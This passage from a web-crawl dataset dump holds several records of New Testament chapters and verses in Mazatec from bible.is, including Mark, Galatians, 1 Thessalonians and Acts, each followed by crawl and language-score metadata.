ra 'ndse̱ Jacobo, kiìko̱. 38'Kia̱ nga ijchò ya̱ ni'ya‑la̱ xi̱ta̱ ítjòn 'tse̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, kijtseé Jesús nga fìjen fìkjá xi̱ta̱, 'ñó i̱nchikjindáya ko̱ 'ñó i̱nchisíkájno. 39'Jaha'seén ni'ya Jesús, kitsò‑la̱: ―¿Mé‑ni ko̱'nìa‑no nga ko̱'sín ta̱ nda chindáya‑no? Jè ndí tsati mì tsa kàbiya‑jìn; ta kjijnafé‑ní. 40Jñà xi̱ta̱ ra ya̱ tjítsa̱jna tà tsijnòke‑ní. Jesús 'kia̱á tsachrje ijye nga'tsì xi̱ta̱ ra ya̱ títsa̱jna; tà jñá tsikitsa̱jna ra na̱'ìn ma, ko̱ ra na̱ ma, ko̱ jñà xi̱ta̱‑la̱ ra tji̱ko̱. A̱kjòn 'jaha'sen ya̱ ñánda̱ kjijna jè ndí tsati. 41Iskábé tsja ndí tsati, kitsò‑la̱: ―Talita kumi. (Jè 'én ra tsò‑ni: Ji̱ ndí tsati, 'koa̱á xin‑la, ti̱sítji̱in.) 42Jè ndí tsati, ndi̱to̱ón tsasítje̱n‑ni; maá tsajme‑ni. Tejò‑ró nó tjín‑la̱. Jñà xi̱ta̱ ra ya̱ tjítsa̱jna, taxki̱ 'ñó itsakjòn. 43Tanga Jesús 'ñó tsikí'tin nga mì kì yá ra ko̱katatsò‑la̱. A̱kjòn kitsò‑la̱: ―Ti̱kjèn jè ndí tsati ra̱kìi̱.\nSan Marcos 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/5","date":"2013-12-06T07:36:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049967\/warc\/CC-MAIN-20131204131729-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000063180923462}","num_words":941,"character_repetition_ratio":0.07,"word_repetition_ratio":0.006,"special_characters_ratio":0.241,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Tanga 'koa̱á 'sín ngoya‑la̱ koni tsa tsìn‑la̱ kja̱ma̱ nga mì tsa ngi ko̱ inìma̱‑la̱ kjokjiín‑la̱, mì kì 'ñó mincha, ta chibaá ni̱chjin chíkjoa̱‑la̱. 'Kia̱ mé kjoa̱ ra sakó‑la̱ ko̱ tsa xi̱ta̱ fì‑la̱ kondra̱ ra ta nga̱tjì 'tse̱ 'én‑la̱ Nainá, ndi̱to̱ón tsjin‑ni jè ndi̱yá‑la̱ Nainá.\nSan Marcos 4:17\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/4\/17","date":"2014-03-07T11:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999642170\/warc\/CC-MAIN-20140305060722-00034-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":50,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¡Jiòn xi̱ta̱ ra i̱'nde Galacia tsa̱jiòn, mé ta̱ i̱ma̱kjoa̱‑no! ¿Yá ra ta̱ nda tsikíndisoko̱‑no? ¿A mí bítsjen‑no nga nda kjón‑ní tsakon‑ya‑laji̱n kó'sín nga jè Jesucristo 'ken'ta krò ra kjo̱nda tsa̱jiòn? 2Ta jé ra mejèn‑na nga ko̱'tín‑nájiòn: ¿A kií itjábé‑najiòn jè Inìma̱ Tsje‑la̱ Nainá nga nda inìhitjasòn jiòn jè Kjo̱téxoma o̱ ra kií‑ní nga nda kjokjiín‑najiòn 'én nda‑la̱ Nainá ra ina'yá? 3Nga ti̱'sa̱ ítjòn, ndaá tsiki'tsia̱ko̱‑nájiòn kjo̱bítsjen ra kitsjà‑no Inìma̱ Tsje‑la̱ Nainá, ko̱, ¿mé‑ni 'ndi̱‑ni̱, ta kjo̱bítsjen 'tse̱ xi̱ta̱ mejèn‑no nga isa̱ nda si̱jchá‑no ijo‑no? ¡Mé ta̱ i̱ma̱kjoa̱‑no! 4¿A ta kjo̱tjó‑ni nga'tsì kjo̱hi'in ra ijye tsato jiòn 'kia̱ nga kjokjiín‑no? 'Koa̱á ma‑na nga mì tsa ta kjo̱tjò‑jìn. 5'Kia̱ nga jè Nainá kitsjà‑no jè Inìma̱ Tsje‑la̱ ko̱ tsakón‑no kjo̱xkón‑la̱ ra nda tjín, ¿mé‑ni ko̱'sín ki'sìn‑ni? ¿A kií‑ní nga nda kinìhitjasòn jiòn jè kjo̱téxoma? Majìn, kií‑ní nga nda kjokjiín‑no 'kia̱ nga ina'yá jè 'én nda‑la̱ Nainá. 6'Koa̱á jngoya‑la̱ koni tsa jè Abraham, \"ndaá kjokjiín‑la̱ a̱'ta 'tse̱ Nainá; 'koa̱á ma‑ni nga ko̱'sín kitsò‑la̱ Nainá nga xi̱ta̱ kixi̱‑ní.\" 7Ko̱'sín nda katasijin‑no: Jñà ra ko̱'sín makjiín‑la̱ koni 'sín jè Abraham kjokjiín‑la̱ a̱'ta 'tse̱ Nainá, jñá‑ní ra ko̱'sín ko̱ma i̱xti‑la̱ Abraham 'kín. 8'Koa̱á 'sín ti̱ngi kitsjá‑ni 'Én‑la̱ Nainá koni 'sín nga tíchja̱ Xa̱jo̱n‑la̱ nga xi̱ta̱ kixi̱í 'si̱in jñà ra mì tsa xi̱ta̱ judío 'kia̱ nga ya̱ ko̱kjiín‑la̱ a̱'ta 'tse̱. Ya̱á 'ya‑la̱ ñánda̱ nga Nainá tje̱n kitsjá‑la̱ Abraham jngo 'én ra nda tjín nga kitsò‑la̱: \"Nga'tsì jñà na̱xi̱ndá ra tjín ya̱ i̱sà'nde, a̱'ta tsa̱ji‑ní nga ko̱chikon'tin.\" 9'Koa̱á ma‑ni, koni 'sín kjòchikon'tin jè Abraham nga kjokjiín‑la̱ a̱'ta 'tse̱ Nainá, ti̱'koa̱á ya̱á machikon'tin‑ko̱ nga'tsì jñà xi̱ta̱ ra ko̱'sín ko̱kjiín‑la̱ a̱'ta 'tse̱ Nainá. 10Nga'tsì xi̱ta̱ ra jè ma'ñó'ta takòn nga i̱nchisíhitjasòn kjo̱téxoma, tseé kjo̱hi'in kjinè‑la̱. Nga̱ 'koa̱á ti̱'sín tsò xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Kjo̱hi'in katasinè‑la̱ nga'tsì xi̱ta̱ ra mì ko̱'sín kixi̱ si̱hitjasòn nga'tsì kjoa̱ ra tjí'ta ya̱ xa̱jo̱n 'tse̱ kjo̱téxoma.\" 11'Koa̱á 'sín ma‑ni nga ya̱á 'ya‑la̱ nga ni̱jngo xi̱ta̱ ra kixi̱ kíjna ya̱ ngixko̱n Nainá ta nga̱tjì‑la̱ nga síhitjasòn kjo̱téxoma; nga̱ tsò‑te xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá: \"Jè ra xi̱ta̱ kixi̱, jè kíjnakon‑ni nga makjiín‑la̱ a̱'ta 'tse̱ Nainá.\" 12Tanga jñà xi̱ta̱ ra kjo̱téxoma síhitjasòn, mì tsa Nainá kji'ta ikon. Nga̱ tsò Xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá: \"Jè ra nda síhitjasòn kjo̱téxoma, 'koa̱á 'sín tjínè‑la̱ nga ya̱ katasíjchájin ijo‑la̱.\" 13Jè Cristo tsikíchjítjì‑ná nga ma tsachrjekàjin‑ná kjo̱hi'in 'tse̱ kjo̱téxoma, nga̱ jè iskanè jé‑la̱ ta nga̱tjì tsa̱jién, nga̱ 'koa̱á 'sín tsò xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Nga'tsì ra ko̱'sín si'ta krò, 'ñó tse kjo̱hi'in katakanè‑la̱.\" 14'Koa̱á 'sín kjomà mé‑ni nga a̱'ta 'tse̱ Cristo tjábé‑la̱ jñà xi̱ta̱ na̱xi̱ndá ra mì tsa xi̱ta̱ judío jè kjo̱nda ra ijye Nainá ko̱kitsò‑la̱ jè Abraham, ko̱ mé‑ni 'kia̱ nga ko̱'sín makjiín‑ná a̱'ta 'tse̱ Cristo maá tjábé‑ná jè Inìma̱ Tsje‑la̱ Nainá, nga̱ ijyeé ko̱'sín kitsjà tsa'ba Nainá nga tsjá‑ná. 15Jiòn 'ndsé ko̱ tichjeé, kijná jngo‑no xkósòn koni 'kia̱ nga jñà xi̱ta̱ bájna masen jngo xa̱jo̱n nga bíndajín jngo kjoa̱. 'Kia̱ nga jè xa̱jo̱n ra̱kìi̱ ijye ma firma, ko̱ sinchá‑la̱ sello, mì kì yá ra ma ko̱chrjengi ko̱ ni̱yá ra ma ki̱ì'tasòn-isa‑la̱ koni 'sín nga ijye tíchja̱. 16Nainá, 'koa̱á 'sín kitsjá‑la̱ 'én‑la̱ jè Abraham ko̱ jè xi̱ta̱ ra tje̱‑la̱ ma. Jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá mì tsa tsò‑jìn: \"jñà xi̱ta̱ tje̱‑la̱.\" Ta tsò‑ní: \"jè xi̱ta̱ tje̱‑la̱.\" Nga̱ mì tsa kjìn ma‑ni xi̱ta̱ tje̱‑la̱ ra ko̱'sín ki'tsì‑la̱ 'én, ta jngoó ma‑ni. Ko̱ jè Cristo ra ko̱'sín kitsò‑la̱. 17Jè kjoa̱ ra tí'bènájmí‑najiòn, ki̱í 'sín tjín: Jè kjoa̱ ra tsikíndajín‑ko̱ Abraham jè Nainá, ta̱'koa̱ ijyeé kjotseé tíjna 'kia̱ nga 'ji jè kjo̱téxoma. Ta̱'koa̱ kjo ijòn sindo̱ ko̱ katé nó tsato 'kia̱ nga tsi'kì‑la̱ kjo̱téxoma ra̱kìi̱ jè Moisés. Ko̱ mì kì ma bachrjengi jè kjoa̱ ra ijye tsikíndajín jè Nainá ko̱ jè Abraham, ti̱'koa̱ mì kì ma si̱ìkitsón‑jin jè 'én ra ijye kitsjà Nainá. 18'Kia̱ nga jè Nainá ko̱'sín tsjá‑ná kjo̱nda‑la̱, mì tsa ki‑ni nga nihitjasén jè kjo̱téxoma, ki‑ní nga ijyeé ko̱'sín kitsjà 'én‑la̱. Nga̱ ta kjo̱tjó kitsjà‑la̱ kjo̱nda jè Abraham koni 'sín nga ijye kitsò‑la̱. 19¿Mé xá isinda‑ni jè kjo̱téxoma tsa'koa̱? Kií ko̱'sín isinda‑ni ta nga̱tjì‑la̱ a̱'ta 'tse̱ kjoa̱'cho ra 'sín jñà xi̱ta̱. Ko̱ isijna‑ní skanda 'kia̱ nga ijye 'ji jè tje̱‑la̱ Abraham koni 'sín ijye kitsjà‑la̱ tsa'ba Nainá. Jè kjo̱téxoma, jñà ìkja̱li̱ 'jiìkó nga isìchjeén jè Moisés mé‑ni ma kisika'ta‑la̱ jñà xi̱ta̱ ra i'ka, nga̱ jè Moisés tsasijin‑la̱ xi̱ta̱. 20Tsa 'kia̱ jngo xi̱ta̱ ko̱'sín jè basèn‑jin nga sindajín jngo kjoa̱, mì tsa ta jngo fì‑ni, tanga jè Nainá jngoó kijì‑ni ra jè, 'kia̱ nga kitsjà‑la̱ 'én Abraham nga tsikíndajín jngo kjoa̱. 21'Kia̱ nga jè Nainá 'jiìkó kjo̱téxoma, mì tsa kondra̱ kijì‑la̱ 'én ra ta̱'koa̱ ijye kjotseé kitsjà‑la̱ Abraham. Tsa jé‑la kjo̱téxoma tjín‑la̱ nga'ñó nga ma tsjá ra kjo̱binachon, ma‑la xi̱ta̱ kixi̱ ko̱ma‑ni xi̱ta̱ tsa'koa̱ tsa nda si̱hitjasòn kjo̱téxoma. 22Tanga jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'koa̱á 'sín tsò nga nga'tsì jñà xi̱ta̱, ya̱á títsa̱jin jé. Ta jngoó 'kia̱ nga ko̱kjiín‑la̱ a̱'ta 'tse̱ Jesucristo ko̱ma tjábé‑la̱ kjo̱binachon ra ijye ko̱'sín kitsò Nainá nga tsjá‑la̱ jñà xi̱ta̱ ra ko̱kjiín‑la̱. 23'Kia̱ nga ti̱kjè 'fiì jè kjoa̱ ra makjiín‑ná, ya̱á itsabá'ñó‑ná jè kjo̱téxoma, ko̱ ya̱á tsikítsa̱i'ya‑ná skanda 'kia̱ nga kijcha‑la̱ jè kjoa̱ ra makjiín‑ná. 24Ko̱ jé kjo̱téxoma isikìnda̱‑ná koni 'sín makìnda̱ jñà i̱xti, skanda 'kia̱ nga 'ji jè Cristo mé‑ni nga ma kixi̱ bìtsa̱jna‑ná 'kia̱ nga makjiín‑ná a̱'ta 'tse̱. 25'Ndi̱ 'ndi̱ 'kia̱ nga ijye 'ji jè kjoa̱ ra makjiín‑ná, mì tsa ti̱jè kjo̱téxoma itsabá'ñó-isa‑ná. 26Nga'tsì‑najiòn ijyeé i̱xti‑la̱ Nainá ma jiòn ta nga̱tjì‑la̱ nga ya̱á titsa̱jnako̱o Cristo nga makjiín‑no a̱'ta 'tse̱. 27'Kia̱ nga ya̱ titsa̱jnakjoko̱o jiòn Cristo nga isatíndá jiòn, 'kia̱á jahatjìya‑najiòn koni 'sín 'sín jngo xi̱ta̱ nga síkaatjìya nikje‑la̱; ko̱ jè sabá Cristo ra kjomà nikje xi̱tse̱ ra itsjaya jiòn. 28Mì tsa jñà tíma kinda̱, a xi̱ta̱ griego‑ní, o̱ ra xi̱ta̱ judío‑ní; a ndí xi̱ta̱ chi̱'nda'ñó‑ní o̱ ra majìn‑ní; a xi̱ta̱ 'xi̱n‑ní o̱ ra chjo̱ón‑ní; nga̱ nga'tsì‑no ta jngoó ijo ma‑najiòn, ta nga̱tjì‑la̱ nga ya̱ titsa̱jnakjo‑ko̱o Cristo Jesús. 29Nga xi̱ta̱‑la̱ Cristo ma jiòn, ti̱'koa̱ tje̱‑la̱ Abraham ma‑te jiòn, ko̱ ti̱'koa̱á tjábé‑nájiòn jè kjo̱tjò ra Nainá tsjá, koni 'sín ijye kitsjà‑la̱ tsa'ba jè Abraham.\nGálatas 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/3","date":"2014-03-07T17:56:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999649814\/warc\/CC-MAIN-20140305060729-00045-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":983,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5ko̱ jè Jesucristo k'oa̱ ti̱s'ín kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán. Jè Cristo, jè xi nguì 'én kixi̱ tsjá, xi ki'ndí tjòn xi jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà ko̱ jè xi otíxoma‑la̱ jñà xi̱ta̱ sko̱‑la̱ xi tjín i̱ i̱t'aà nangui. Cristo matsjakeè‑ná nga kisìtsjeè jé‑ná i̱t'aà ts'e̱ jní‑la̱ xi tsibíxteèn.\nApocalipsis 1:5\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/5","date":"2014-03-08T01:14:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999651909\/warc\/CC-MAIN-20140305060731-00081-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000008344650269}","num_words":53,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Ndaà ti̱xkàtjì kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo. Kì nìkíjna‑jèn ndi̱yá kixi̱ ts'e̱ kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. Nga koií xá kiìchja̱‑lè Nainá. Ngaji̱ jyeé k'oa̱s'ín ndaà kits'iì ndso̱boi nga kinìkixi̱yi 'én xi mokjeiín‑lè i̱t'aà ts'e̱ Cristo nga nguixko̱n xi̱ta̱ xi kjìn ma‑ne nga kiì'nchré.\n1 Timoteo 6:12\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/12","date":"2014-03-07T14:31:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999644032\/warc\/CC-MAIN-20140305060724-00084-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.999951005,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 0.9999510049819946}","num_words":51,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Jñà xi̱ta̱ ra kjo̱'ñó 'sín‑najiòn nga mejèn‑la̱ si̱'ta chi̱ba̱ ijo‑najiòn ra kjoa̱ 'tse̱ circuncisión, ta jé ra mejèn‑la̱ nga jñà nda kítsa̱jna ya̱ ngixko̱n xi̱ta̱ ra i'ka, ko̱ majìn‑la̱ tsa yá ra koa̱àtji̱ngi‑la̱ ra ta nga̱tjì‑la̱ nga ko̱'sín makjiín‑la̱ nga ya̱á sakó kjo̱nda a̱'ta 'tse̱ nga krò 'ken'ta Cristo.\nGálatas 6:12\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/6\/12","date":"2014-03-07T21:58:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999651159\/warc\/CC-MAIN-20140305060731-00016-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000006914138794}","num_words":54,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè ko̱ ndí tichjaá, k'oa̱á s'ín tsakoòya‑nòje̱n nga k'oa̱s'ín si̱jchá yijo‑nò koni s'ín sasén‑la̱ Nainá. Ko̱ kixi̱í kjoa̱, jyeé ko̱s'ín titsa̱'nè. Ta̱nga i̱'ndei̱ bítsi'ba‑nòje̱n ti̱koa̱ bìnè‑nòje̱n i̱t'aà ts'e̱ Jesús xi otíxoma‑ná nga ìsa̱ 'ñó ndaà tjiì‑là nga'ñó yijo‑nò nga ko̱s'ín ti̱kitasòn. 2Jyeé tíjiìn‑nò kó s'ín tjín kjo̱tíxoma xi kits'iì‑nòje̱n koni s'ín kitsjaà‑naje̱n Jesucristo xi otíxoma‑ná. 3Jè xi mejèn‑la̱ Nainá nga nguì tsjeè si̱jchá yijo‑nò, mì ti̱ kjoa̱ chijngui si̱s'in‑là. 4Nga jngoò ìjngoò‑nò ti̱kinda̱a yijo‑nò; k'oa̱s'ín ti̱kjeén nga nguì tsjeè ti̱tsa̱jna koni s'ín sasén‑la̱ Nainá. 5Kì biì'nde‑là nga síkijne‑nò jñà kjoa̱ ch'o xi síjé yijo‑nò koni s'ín jñà xi̱ta̱ xi mìkiì beèxkon Nainá. 6Jñò xi 'ndseé chibá i̱t'aà ts'e̱ Cristo, kì k'oa̱á tjín kjoa̱ xi kaàjñoò mé‑ne nga mì xinguio̱o chóna̱cha̱n‑là nga mì xinguio̱o jcha̱toòn. Tsà k'oa̱s'ín s'e̱en, kjo̱'iín tsjá‑nò Nainá. Jyeé k'oa̱s'ín tsibèno̱jmí‑nòje̱n. 7Nainá mìtsà koi xá kiìchja̱‑ná nga ch'o s'e̱én, jè xi mejèn‑la̱ nga tsjeè ki̱tsa̱jnaá. 8Jè xi ochrjekàngui kjoa̱ koi, mìtsà kjo̱hítsjeèn ts'e̱ xi̱ta̱ ochrjekàngui, kjo̱hítsjeèn ts'e̱ Nainá ochrjekàngui; nga jè xi tsjá‑nò Ini̱ma̱ Tsjeè‑la̱. 9Mìkiì mochjeén nga xo̱jo̱n skiìt'aà‑ìsa‑nò xi ts'e̱ kjoa̱tjòcha. Nainá jye tsakóya‑nò kós'ín si̱tjòchaà xinguio̱o nga jngoò ìjngoò. 10Jyeé ko̱s'ín titsa̱'nè nga matsjacha ngats'iì xi̱ta̱ xinguio̱o xi títsa̱jna kóho̱kji ya̱ nangui Macedonia. Ta̱nga k'oa̱á s'ín bìtsi'ba‑nòje̱n nga ìsa̱ ndaà ti̱tsjacha xinguio̱o. 11Tìnè‑là yijo‑nò nga 'nchán ti̱tsa̱jna, kì kjoa̱‑la̱ xinguio̱o chingàjñoò, t'e̱en xá‑nò koni tjín xá xi ma‑nò, koni s'ín jye ki'mì‑nòje̱n ngats'iì kjoa̱ koi. 12Mé‑ne nga skoe̱xkón‑nò jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ 'én‑la̱ Nainá. Koa̱ jñò, ni̱mé chijat'aà‑nò. 13Ndí 'ndsè ko̱ ndí tichjaá, mejèn‑naje̱n nga kàtasijiìn‑nò mé kjoa̱ xi mat'in jngoò xi̱ta̱ xi biyaà, mé‑ne nga mì ko̱baá‑nò koni jñà xi̱ta̱ xi ni̱mé nchikoña‑la̱. 14Koni s'ín mokjeiín‑ná nga Jesús k'en, i̱kjoàn jaáya‑la̱, k'oa̱ ti̱s'ín mokjeiín‑ná nga Nainá si̱ìkjaáya‑la̱ xi̱ta̱ xi jye k'en, jñà xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 15Nga̱ koií 'én bèno̱jmíya‑je̱n koni tsò 'én xi tsibíjna Jesús nga jñá xi titsa̱jnakoaán skanda k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn‑ná Jesucristo, mìtsà jñá kjiín ítjòn‑lá jñà xi jye k'en. 16Nga̱ jè sobà Na̱'èn‑ná ki̱tjojen ìjngoò k'a‑ne ngajmiì; 'ñó ki̱chja̱ nga tsjá o̱kixi̱, ki̱ná'ya jngoò‑la̱ jta̱ ts'e̱ àkja̱le̱ ítjòn, ko̱ ki̱ná'ya‑la̱ chrjo‑la̱ Nainá; i̱kjoàn jñà xi̱ta̱ xi jye k'en nga mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, kjoa̱áya ítjòn‑la̱. 17I̱kjoàn jñá xi tákó titsa̱jnakoaán jè na̱chrjein jè, ya̱á tjámijìn‑tje̱n‑koa̱á i̱jiìn ifi nga kixokjoaá Nainá ya̱ i̱jiìn i̱sén. K'oa̱á s'ín ko̱ma nga ya̱ ki̱tsa̱jnakoa̱á Nainá ni̱ta̱ mé na̱chrjein‑ne. 18K'oa̱á ma‑ne nga ti̱je takòn xinguio̱o nga tèno̱jmíya‑là koni tsò jñà 'én koi.\n1 Tesalonicenses 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/4","date":"2014-03-17T11:23:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705235\/warc\/CC-MAIN-20140313024505-00019-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000066757202148}","num_words":403,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱jñà‑ne na̱chrjein koi, jè Herodes xi xi̱ta̱xá ítjòn tíjna, kitsjaà o̱kixi̱ nga kitsobà'ñó i'nga xi̱ta̱ na̱xa̱ndá‑la̱ Cristo mé‑ne nga ko̱ma skoe̱toòn‑ne. 2Tsatíxá nga ki̱cha̱ ndojò kisìk'en‑ne Jacobo, 'ndse̱ Juan. 3Jè Herodes, k'e̱ nga kijtseè nga tsja komà‑la̱ jñà xi̱ta̱ judío nga jye k'en Jacobo, i̱kjoàn kitsobà'ñó Pedro jè na̱chrjein k'e̱ nga bitjo s'eí nga kjèn i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san. 4Kiskinìs'en nda̱yá. Chrj'oòn jngoò soldado kisìkinda̱ ya̱ i̱ya nda̱yá; ñijòn kisìkinda̱ nga indiaà indiaà. Kjo̱hítsjeèn‑la̱ Herodes, jè‑né k'e̱ nga jye kjoe̱het'aà s'eí Paxko̱ ko̱chrje nda̱yá mé‑ne jñà xi̱ta̱ na̱xa̱ndá tsjá 'én nga ki̱yá Pedro. 5Jè Pedro, ndaá tímakinda̱ i̱ya nda̱yá; ko̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, mìkiì jyò tsibìtsa̱jna nga 'ñó ndaà nchisíjét'aà‑la̱ Nainá i̱t'aà ts'e̱ Pedro. 6Jè na̱chrjein k'e̱ nga mejèn‑la̱ Herodes nga si̱ìnga̱tsja xi̱ta̱ na̱xa̱ndá jè Pedro, ti̱jè‑ne ni̱tje̱n, kjijnafè'nchò osen‑la̱ jò soldado; jò na'ñó ki̱cha̱ cadena tjít'aà'ñó‑ne; jñà soldado xi i'nga ya̱á nchisíkinda̱ xotjoa̱ nda̱yá. 7Tà ni̱to̱ón tsatsejèn jngoò àkja̱le̱‑la̱ Nainá ya̱ i̱ya nda̱yá; kjòhiseèn yije kóho̱kji; jè àkja̱le̱ kisìhiníyá‑la̱ Pedro nga kisìkjaá‑la̱; kitsò‑la̱: ―¡Ni̱to̱n ti̱sítji̱in! Jñà na'ñó ki̱cha̱ cadena xi tjít'aà'ñó‑ne tsja Pedro chixòt'aà nangui. 8Jè àkja̱le̱ kitsò‑la̱: ―Chi̱kjeí nikje‑lè, tsjayi xo̱jté‑lè. Jè Pedro, k'oa̱á s'ín kis'iìn. I̱kjoàn kitsò àkja̱le̱: ―Chi̱kjeí na̱chro̱kisòn‑lè, nchrobátji̱ngui‑ná. 9Pedro itjo tji̱ngui‑la̱ jè àkja̱le̱; mìkiì machi̱ya‑la̱ tsà kixi̱í kjoa̱ xi tísíko̱ àkja̱le̱; jè Pedro k'oa̱á ma‑la̱ koni tsà nijñá tí'biì‑la̱. 10Jahat'aà‑la̱ jè soldado xi síjna ítjòn, ti̱koa̱ jahat'aà‑la̱ xi ma‑ne jò; k'e̱ nga ijchò xotjoa̱‑la̱ nda̱yá xi nguì ki̱cha̱ nga jye bitjoaá calle, tà ta̱jngoò kitáx'a̱; i̱kjoàn itjo; tsato'nchò jngoò calle; tà ni̱to̱ón kichijà jè àkja̱le̱; jè Pedro, ta̱jngoò kisasijna. 11Jè Pedro, k'e̱é ndaà kjòchi̱ya‑la̱ nga kixi̱ kjoa̱ xi tímat'in, kitsò: ―Kixi̱í kjoa̱, mokjeiín‑na nga Nainá kàsíkasén àkja̱le̱‑la̱ nga kàsíkíjnandei̱í‑na i̱t'aà ts'e̱ Herodes ko̱ ngats'iì kjoa̱ xi ch'o tjín xi nchikoña‑la̱ xi̱ta̱ judío nga si̱ìko̱‑na Herodes. 12Jè Pedro, k'e̱ nga ndaà kjòchi̱ya‑la̱ kjoa̱ koi, kiì ni'ya‑la̱ María, nea̱‑la̱ Juan xi ti̱koa̱ Marcos 'mì. Ya̱ ni'ya jè, kjìn xi̱ta̱ chixoña xi nchibítsi'ba‑la̱ Nainá. 13Kiìchja̱, kisìkjane xotjoa̱‑la̱ ni'ya; k'e̱é itjo katsejèn jngoò tsòti xi 'mì Rode nga mejèn‑la̱ skoe̱ yá‑né xi tíchja̱. 14K'e̱ nga kiì'nchré jta̱‑la̱ nga jè Pedro xi tíchja̱, tsja jchán komà‑la̱ skanda mì ti̱ kiì kiskíx'a̱‑la̱ xotjoa̱ ni'ya; ta̱ sa̱á tsangachikon i̱ya ni'ya; kisìkí'nchré ñánda títsa̱jna xíkjín nga jè Pedro síjnajto xotjoa̱ ni'ya. 15Jñà xi̱ta̱ xíkjín kitsò‑la̱: ―¡Ská‑lè! Ta̱nga jè tsòti tákó k'oa̱á tsò nga kixi̱í kjoa̱ jè Pedro xi tíchja̱. Ta̱nga jñà xi̱ta̱ kitsò‑la̱: ―Jè‑la àkja̱le̱‑la̱. 16Jè Pedro, tákó tíchja̱‑ne, síkjane xotjoa̱ ni'ya. K'e̱ nga kiskíx'a̱‑la̱ xotjoa̱ ni'ya, kijtseèxkon nga jè Pedro; jñà xi̱ta̱ xíkjín, tà kjòxkón‑la̱. 17Kiskímiìtje̱n tsja Pedro nga 